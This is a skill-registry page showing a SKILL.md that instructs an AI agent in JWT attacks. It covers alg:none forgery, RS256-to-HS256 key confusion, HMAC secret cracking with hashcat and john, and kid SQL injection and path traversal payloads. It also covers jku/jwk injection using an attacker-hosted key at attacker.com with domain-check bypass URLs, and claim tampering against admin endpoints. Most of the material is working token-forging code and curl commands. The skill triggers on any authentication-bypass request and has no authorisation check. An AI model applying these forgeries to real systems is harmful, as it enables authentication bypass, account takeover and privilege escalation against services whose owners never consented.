agentleFS
RifteoRifteo/skills/jwt-cracker/SKILL.md

jwt-cracker

Skill37 starsChanged 5 months agoMITView on GitHub

Full JWT attack methodology alg:none, RS256 to HS256 confusion, weak secret brute-force, kid injection, jku/jwk injection, and claim tampering. Trigger when the user asks to test JWT tokens, authentication bypass, or token forgery, wants to try alg:none/algorithm confusion/weak secret brute-force, needs to test kid/jku/x5u/jwk injection, asks to check if exp/iss/aud claims are validated, is trying to bypass authentication on an API or web app, or provides a string that looks like a JWT.

  • Installs packages

The file

We split this skill into the rules it gives an agent

7 rules. About 0 are common, 4 are distinctive, and 3 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈4

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 3

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    Read the header carefully: note alg, kid, jku, x5u, jwk.

    line 27
  2. Distinctive:

    What: After any successful forgery technique, modify these claims for maximum impact:

    line 334
  3. Distinctive:

    If the server accepts either — the claims are not validated.

    line 384
  4. Very specific:

    Cross-service relay: if multiple microservices share a signing key but each should only accept tokens for itself, a token issued for …

    line 386
  5. Very specific:

    Use it directly on Service B (e.g., /internal/api, /admin, another subdomain)

    line 396
  6. Distinctive:

    Look for microservices via JS files, API docs, subdomains, or error messages

    line 397
  7. Distinctive:

    Before choosing attacks, collect:

    line 403

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

JWT Attack Methodology

JWT tokens look like: header.payload.signature (base64url-encoded, dot-separated).

A JWT vulnerability means the server accepts a token it should reject — either because the signature check is weak, skipped, or bypassable.

Before anything else — decode the token:

# Split and decode (no verification)
echo "HEADER_PART"  | base64 -d 2>/dev/null | python3 -m json.tool
echo "PAYLOAD_PART" | base64 -d 2>/dev/null | python3 -m json.tool
# Or one-liner:
python3 -c "
import base64, json, sys
t = sys.argv[1].split('.')
for part in t[:2]:
    pad = part + '=' * (-len(part) % 4)
    print(json.dumps(json.loads(base64.urlsafe_b64decode(pad)), indent=2))
" "YOUR.JWT.HERE"

Read the header carefully: note alg, kid, jku, x5u, jwk. These fields drive which attacks to try first.


Attack Index

#AttackTrigger condition
1alg: noneAny JWT — always try
2RS256 → HS256 confusionalg: RS256 or ES256 in header
3Weak HMAC secretalg: HS256/384/512
4kid SQL injectionkid field present in header
5kid path traversalkid field looks like a filename/path
6jku / x5u header injectionjku or x5u field present
7Embedded jwk injectionNo jwk in header → try injecting one
8Claim tampering (no sig check)After any successful forgery
9Expired token acceptanceexp claim present
10aud / iss not validatedClaims present — try removing/changing them
11Token relay / wrong contextMultiple services share tokens

Work through them top to bottom; stop and document when one succeeds.


Attack 1 — alg: none (No Signature Required)

What: Server accepts a token with "alg":"none" and an empty signature — effectively skipping verification.

How:

import base64, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# Craft header with alg:none
header  = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
# Modify payload as desired (e.g. escalate role, change user id)
payload = b64url(json.dumps({"sub": "1", "role": "admin", "username": "alice"}))

token_none     = f"{header}.{payload}."          # empty signature
token_none_var = f"{header}.{payload}"           # no trailing dot variant

print(token_none)
print(token_none_var)

Variants to try (servers may check case-sensitively):

  • "alg": "none"
  • "alg": "None"
  • "alg": "NONE"
  • "alg": "nOnE"

Confirm: send the forged token in Authorization: Bearer <token>. If the server returns a 200 with the modified user's data → confirmed.


Attack 2 — Algorithm Confusion: RS256 → HS256

What: The server uses RS256 (asymmetric). The public key is obtainable. If the library accepts HS256, an attacker can use the public key as the HMAC secret to forge valid tokens.

Why it works: The server verifies RS256 signatures with the public key. If the library is told alg: HS256, it expects HMAC-SHA256 with a symmetric secret. If that secret happens to be the public key, verification passes.

Step 1 — Obtain the public key:

# Common locations
curl https://target.com/.well-known/jwks.json
curl https://target.com/oauth/discovery
curl https://target.com/api/auth/keys
curl https://target.com/.well-known/openid-configuration  # → find jwks_uri
# Also check: /api/keys, /auth/certs, /v1/keys

Convert JWK to PEM if needed:

# pip install cryptography
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
import base64, json

jwk = json.loads(open('jwk.json').read())  # the 'n' and 'e' fields

def b64int(s):
    return int.from_bytes(base64.urlsafe_b64decode(s + '=='), 'big')

pub = RSAPublicNumbers(b64int(jwk['e']), b64int(jwk['n'])).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
                       serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())

Step 2 — Sign with HS256 using the public key as secret:

import jwt  # pip install pyjwt
from cryptography.hazmat.primitives import serialization

with open('public.pem', 'rb') as f:
    pubkey_bytes = f.read()

payload = {"sub": "1", "role": "admin", "username": "alice"}

# Use the raw PEM bytes as the HMAC secret
token = jwt.encode(payload, pubkey_bytes, algorithm="HS256")
print(token)

Alternative — jwt_tool:

python3 jwt_tool.py TOKEN -X k -pk public.pem

Attack 3 — Weak HMAC Secret (Brute-Force)

What: The server uses HS256/384/512 with a short, guessable, or default secret.

Wordlist sources:

  • Common defaults: secret, password, jwt, changeme, supersecret, your-256-bit-secret, qwerty, 123456, application name, domain name
  • Full wordlist: see references/jwt-secrets.txt

Tools:

# hashcat (GPU — fastest)
hashcat -a 0 -m 16500 token.txt /path/to/wordlist.txt

# john
john --format=HMAC-SHA256 --wordlist=wordlist.txt token.txt

# jwt_tool
python3 jwt_tool.py TOKEN -C -d wordlist.txt

# Online: https://crackstation.net (paste the full JWT)

If secret found — forge any token:

import jwt

secret = "found_secret"
payload = {"sub": "1", "role": "admin", "iat": 1700000000}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

Attack 4 — kid SQL Injection

What: The kid (Key ID) header tells the server which key to fetch from a database. If the value is used in a SQL query unsanitized, it's injectable.

Header looks like: {"alg":"HS256","kid":"1"} or {"alg":"HS256","kid":"user-key-prod"}

Goal: make the database return a known value as the key, then sign the token with that value.

Payload to inject into kid:

' UNION SELECT 'attackersecret'--
" UNION SELECT 'attackersecret'--
1' OR '1'='1

Craft the forged token:

import jwt, json, base64

# Manually build the header (pyjwt won't let you set kid easily)
def b64url(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()

header  = {"alg": "HS256", "kid": "' UNION SELECT 'attackersecret'--"}
payload = {"sub": "1", "role": "admin"}

h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()

import hmac, hashlib
secret = b"attackersecret"
sig = hmac.new(secret, f"{h}.{p}".encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()

print(f"{h}.{p}.{s}")

jwt_tool shortcut:

python3 jwt_tool.py TOKEN -I -hc kid -hv "' UNION SELECT 'attackersecret'--" -S hs256 -p "attackersecret"

Attack 5 — kid Path Traversal

What: kid is used to load a key from the filesystem. If traversal is possible, point it to a file with a known value (e.g. /dev/null → empty string, or a static file).

Payloads:

../../../../../../dev/null
/dev/null
../../../etc/passwd    (to observe behavior)
../../public/logo.png  (known content → use as secret)

If kid → /dev/null (empty file), sign with empty string:

import jwt

header = {"alg": "HS256", "kid": "../../../../../../dev/null"}
payload = {"sub": "1", "role": "admin"}

# Sign with empty string (contents of /dev/null)
token = jwt.encode(payload, "", algorithm="HS256",
                   headers={"kid": "../../../../../../dev/null"})
print(token)

Attack 6 — jku / x5u Header Injection

What: jku (JWK Set URL) tells the server where to fetch the public key. If the server fetches it without domain validation, point it to an attacker-controlled server with a generated key pair.

Step 1 — Generate a key pair:

from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
import json, base64

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = key.public_key().public_numbers()

def to_b64(n):
    return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8,'big')).rstrip(b'=').decode()

jwks = {"keys": [{"kty":"RSA","n":to_b64(pub.n),"e":to_b64(pub.e),"alg":"RS256","use":"sig","kid":"attacker"}]}
print(json.dumps(jwks, indent=2))  # serve this at your URL

Step 2 — Host the JWKS (any public URL you control, e.g. webhook.site, Burp Collaborator, your own VPS):

https://attacker.com/jwks.json

Step 3 — Forge the token:

import jwt

with open('attacker_private.pem', 'rb') as f:
    private_key = f.read()

payload = {"sub": "1", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256",
                   headers={"jku": "https://attacker.com/jwks.json", "kid": "attacker"})
print(token)

Bypass attempts if the server validates the domain:

https://target.com@attacker.com/jwks.json
https://attacker.com/jwks.json?cb=https://target.com
https://target.com/redirect?url=https://attacker.com/jwks.json

Same logic applies to x5u — just serve a self-signed certificate chain instead of JWKS.


Attack 7 — Embedded jwk Injection

What: The jwk header embeds the public key directly inside the token. If the server trusts the embedded key without validating it against a whitelist, you can inject your own key pair.

Step 1 — Generate key pair (same as Attack 6)

Step 2 — Forge token with embedded jwk:

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64

key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = key.public_key().public_numbers()

def to_b64(n):
    return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8,'big')).rstrip(b'=').decode()

jwk_obj = {"kty":"RSA","n":to_b64(pub.n),"e":to_b64(pub.e)}

private_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption())

payload = {"sub": "1", "role": "admin"}
token = jwt.encode(payload, private_pem, algorithm="RS256",
                   headers={"jwk": jwk_obj})
print(token)

jwt_tool shortcut:

python3 jwt_tool.py TOKEN -X i   # injects self-signed jwk

Attack 8 — Claim Tampering

What: After any successful forgery technique, modify these claims for maximum impact:

ClaimAttack
sub / user_id / idChange to another user's ID → horizontal IDOR
role / groups / scope"user" → "admin", "superuser", "staff"
emailChange to victim's email
is_admin / is_stafffalse → true
plan / tier"free" → "premium"
permissionsAdd "*", "write", "delete"
org_id / tenant_idSwitch to another org's ID
expSet to far future (year 9999)

Always try admin/privileged endpoints after forging:

curl https://target.com/api/admin/users -H "Authorization: Bearer FORGED_TOKEN"
curl https://target.com/api/admin/config -H "Authorization: Bearer FORGED_TOKEN"

Attack 9 — Expired Token Acceptance

What: Server doesn't validate the exp claim — old tokens work forever.

Test:

# Take a token you had yesterday (or an old one from logs/history)
curl https://target.com/api/profile -H "Authorization: Bearer OLD_EXPIRED_TOKEN"

Also try: setting exp to a past timestamp while using a valid signature — if the server accepts it, exp is not validated.


Attack 10 — iss / aud Not Validated

What: Server doesn't verify who issued the token or who it's intended for.

Test — remove the claims entirely:

# Craft a token with no iss/aud
payload = {"sub": "1", "role": "admin"}  # no iss, no aud

Test — change to arbitrary values:

payload = {"sub": "1", "iss": "https://evil.com", "aud": "different-service"}

If the server accepts either — the claims are not validated.

Cross-service relay: if multiple microservices share a signing key but each should only accept tokens for itself, a token issued for Service A may work on Service B if aud is not validated.


Attack 11 — Token Relay (Cross-Service Misuse)

What: A token scoped for one service works on another because they share the same secret/key and don't validate aud or iss.

Test:

  1. Get a token from Service A (e.g., /api/auth)
  2. Use it directly on Service B (e.g., /internal/api, /admin, another subdomain)
  3. Look for microservices via JS files, API docs, subdomains, or error messages

Quick Recon Checklist

Before choosing attacks, collect:

# 1. Decode your token
python3 -c "import base64,json,sys; [print(json.dumps(json.loads(base64.urlsafe_b64decode(p+'===='[:(-len(p))%4+4]),indent=2)) or '') for p in sys.argv[1].split('.')[:2]]" "YOUR.JWT.TOKEN"

# 2. Hunt for public keys
for path in /.well-known/jwks.json /api/keys /oauth/certs /auth/keys /jwks /.well-known/openid-configuration; do
  code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path)
  echo "$code $path"
done

# 3. Check error messages — they often leak library name/version
curl https://target.com/api/profile -H "Authorization: Bearer invalid.token.here"

# 4. Check JS bundles for JWT library and secret hints
curl -s https://target.com/app.js | grep -Ei "jwt|secret|signing|HS256|RS256|verify"

Tool Reference

See references/tools.md for detailed usage of:

  • jwt_tool — the primary CLI tool for all JWT attacks
  • hashcat / john — HMAC secret brute-force
  • pyjwt — Python library for crafting tokens
  • Burp JWT Editor — in-proxy attack suite

See references/jwt-secrets.txt for the brute-force wordlist.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.